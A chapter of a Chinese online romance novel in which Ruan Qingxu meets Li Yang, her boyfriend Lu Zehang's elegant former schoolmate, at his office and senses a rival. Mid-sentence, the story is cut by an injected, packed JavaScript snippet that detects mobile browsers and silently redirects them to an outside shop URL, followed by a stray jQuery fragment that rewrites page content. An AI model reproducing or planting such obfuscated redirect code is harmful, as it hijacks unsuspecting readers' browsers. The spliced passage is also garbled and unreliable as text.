三月的海城,春寒陡峭。
阮清许最近忙得脚不沾地。新接的古城保护项目需要大量外勤,她几乎每天都要往城郊跑,看现场、对接施工方、协调当地部门。虽然累,但她喜欢这种充实感——每一个细节都在她手里成型,每一个问题都在她推动下解决。
中午能顺路去找陆则珩吃饭,成了她一天中最期待的休憩时光。现在的生活是几年之前阮清许从未想过的,她最近越来越发现,有些东西确实是命运推着你经历的。
这天上午的现场勘测结束得早,阮清许十一点半就回到了市区。她给陆则珩发了条消息:“今天早收工,十二点到你楼下?附近有家新开的日料,听说不错。”
陆则珩很快回复:“好。到了告诉我,我下来。”
阮清许收起手机,心情很好。春天的阳光透过车窗照进来,暖洋洋的。
科创的大楼从郊区过来很好找,快到的时候给陆则珩发消息让他准备下楼,阮清许慢悠悠的走进大厅,不知道陆则珩下来的快不快,要不要去大厅的沙发休息区等他。
刚路过前台的时候,余光瞥见一个身影。
是个女人,二十多岁,站在前台旁边。
她穿着一件剪裁极好的驼色大衣,长发披肩,妆容精致但不浓艳。手里提着一个深蓝色的保温袋,一看就是自己做的饭。
阮清许还在想这是谁的女朋友,运气这么好,每天上班还可以吃饭女朋友做的菜。
阮清许还没羡慕完,就听到那边的声音传来,“您好,我找陆则珩。”她对前台说,声音温柔但带着一种不容置疑的气场,“我是黎漾。”
前台的小姑娘显然不认识她,礼貌地说:“您好,请问有预约吗?我帮您查一下。”
“没有预约。”黎漾笑了笑,“你打电话问他就好,就说黎漾来了。”
黎漾,阮清许在心里重复了一遍这个名字,也自己搜索可能认识的人,显然没搜索到,应该是陆则珩之前的朋友?给他送饭?她没听说呀,早说就不来找他吃饭了…
黎漾那笑容很得体,阮清许也听出了一种微妙的“你不认识我正常,但他一定认识我”的笃定。
前台打了内线电话,很快放下话筒:“黎小姐,我带您上去。”
黎漾点点头,跟着前台走向电梯区。路过阮清许身边时,她的目光轻轻扫过,但没有任何停留——就像看一个普通的、不重要的路人。
前台小姐姐自然是认识阮清许的,路过阮清许这边笑容灿烂的说着,“阮小姐,你也来找陆总嘛?这位小姐也是来找陆总的,您要一起上去吗?”
阮清许回复了不用,站在原地,看着她被前台刷了卡,走进电梯。
电梯门合上,数字开始跳动。
阮清许忽然有点不舒服。不是吃醋——她还没那么小心眼。是一种说不清的、微妙的感觉,像平静的湖面被投下一颗小石子,泛起的涟漪久久不散。
她拿出手机给陆则珩发消息,“我在你们公司一楼,你还有多久下来?”
阮清许没有说碰到了她朋友,就和完全不知道这件事一样,若无其事的给他发消息。消息发出去,她等着陆则珩说“我下来”。但等来的却是电话。
“清许,”陆则珩的声音从听筒里传来,“有个老朋友突然来了,在我办公室。你上来吧,我们一起待会儿,然后去吃饭。”
老朋友?
阮清许想起刚才那个提着保温袋的女人。是她吗?
“好。”她说,“我上来。”
电梯上行。阮清许看着数字跳动,心里默默想着那个女人的样子。气质很好,穿得很贵,说话的语气和姿态都透着“我不是一般人”的底气。她提着保温袋,里面应该是自己做的饭——给陆则珩送的?
在电梯上行的过程中,阮清许想着要不要问问陈述延或者是余嫣媱,这是谁,她给阮清许的感觉完全不一样,女人的第六感告诉她这不是什么普通朋友。
电梯门打开,阮清许走出去。陆则珩的办公室门开着,她还没走到,就听见里面传来的笑声——女人的笑声,温柔,清脆,带着一种亲昵的熟悉感。
阮清许在门口停了一秒,然后敲了敲门。
“清许!”陆则珩站起来,走过来牵她的手,“进来。”
办公室里,那个女人正坐在沙发上,面前摆着那个保温袋,还有两个打开的饭盒。饭盒里的菜色精致,红烧排骨、清炒时蔬、还有一看就是用心摆盘的水果。
她抬起头,看见阮清许,在向下看到陆则珩握住的手,眼神里闪过一丝什么——很快,但阮清许捕捉到了。
“清许,”陆则珩介绍,“这是黎漾,我大学时的学妹。刚回国,黎家的人。”
他又对黎漾说:“这是阮清许,我女朋友。”
黎漾站起来,笑着伸出手:“阮清许,你好。我叫黎漾,则珩的老朋友。”
“不知阮小姐家里是做什么的呀,我这刚回国,一时间想不起来阮家…是?”
黎漾的声音初次听没什么攻击性,给人一种温柔恬静的感觉,但是但凡长了脑子的人都能听出来这是什么意思,或许只有男人听不出来,甚至还觉得这是友好的关心。
阮清许不是什么好人,不想卑躬屈膝的讨好陆则珩身边的朋友,虽然和余嫣媱的关系这几个月处的还不错,但是两个人几乎很少约线下逛街或者什么,也不是随意在微信上分享任何事的关系,和裴栀铃的感觉完全不一样。
当然这个黎漾给她的感觉笑里藏刀,更不舒服,看似在问她什么家庭,实则不过是想彰显自己的身份罢了。
阮清许知道黎家,海城制造业的大头,也是…海城没几个人不知道黎家,尤其是她之前还在商务局那样的单位。
黎家几乎所有的制造业都在他们企业把控,即使有的一些小公司没参与大制作,但是也有黎家的注资,这几年国家又大力发展传统产业,黎家的地位越来越高,这次来估计也是想和陆则珩他们合作…
“你好。”阮清许握住她的手。阮清许有些皮笑肉不笑,明显感觉到那只手很软,保养得很好,指甲上是低调但精致的裸色美甲。
阮清许想说自己就是普通人和你们没法比,自己还没开口,陆则珩那边揽着阮清许的腰直接说,“清许不是这个圈子的,现在在和阿延
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394187|197881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那边配合。”
黎漾笑笑岔开这个话题,识趣的没在继续追问,转头则说,“我刚还在说则珩呢,”黎漾收回手,笑着指了指桌上的饭盒,“我说要给他做饭送来,他说不用,我说这么多年没见,让我显摆一下手艺嘛。结果你看,还是只能在这儿吃,你们的午餐计划被我打乱了。”
这话说得巧妙——既表明了她和陆则珩的熟稔,又显得大度体贴。
阮清许笑了笑:“没关系,下次再吃也一样。”
陆则珩招呼两人坐下。黎漾很自然地开始聊起她在国外的经历,语气轻松,话题有趣,时不时抛出一个只有她和陆则珩知道的大学往事,营造出一种“我们有很多共同回忆”的氛围。
阮清许安静地听着,偶尔接几句话。她注意到黎漾看陆则珩的眼神——不是普通的、看老朋友的眼神,而是一种更深的、带着某种期待的眼神。
那种眼神她见过。在余嫣媱“演戏”的时候,在那些对陆则珩有想法的女人眼里。
但余嫣媱是假的,黎漾是真的。
聊了二十多分钟,黎漾起身告辞:“好了,不打扰你们了。饭盒我改天来拿,今天先放你这儿,就当……给你们添点零食。”
她对阮清许笑了笑:“清许,有空一起喝茶。则珩的朋友就是我的朋友。”
说完,她优雅地离开了。
办公室里安静下来。
陆则珩看向阮清许:“怎么了?”
“没怎么。”阮清许摇摇头,“她……就是你哪个老朋友?”
“嗯,大学学妹,之前大学的时候总去陆家玩,和妈也挺熟悉的。黎氏集团现在是她哥哥在管。”陆则珩说得简单,“在国外待了几年,刚回来。”
“她好像……”阮清许斟酌着词句,“对你挺了解的。”
陆则珩看着她,忽然笑了:“吃醋了?”
“没有。”阮清许下意识否认,但说完又觉得不对,“就是……她看你的眼神,不太一样。”
陆则珩握住她的手:“宝宝,我心里有谁你不清楚吗?”
“而且,我真没那么吸引人。”
陆则珩贴着阮清许的脸颊作势要亲亲,阮清许伸出手去掰开他的头,“走啦,去吃饭,我下午还有工作呢。”
阮清许看着他的眼睛,那双眼睛很清澈,很真诚。
她知道他说的是真的。
但她也知道,黎漾不会只是“老朋友”那么简单。
那种眼神,她不会看错。
“好。”陆则珩也站起来,拿起外套,“日料,你带路。”
两人走出办公室。电梯下行时,阮清许看着镜面墙壁里自己的倒影,忽然想起黎漾那个眼神——那种笃定的、势在必得的眼神。
阮清许深吸一口气,握紧了陆则珩的手。
兵来将挡,水来土掩。
她不是当年那个会被谣言击垮的小女孩了。
现在的她,有自己的事业,有自己的底气,如果陆则珩是其他人轻易带走的,那命里就不属于她,她也不会撕心裂肺的去争取。
在路上,阮清许想着要不要问问余嫣媱…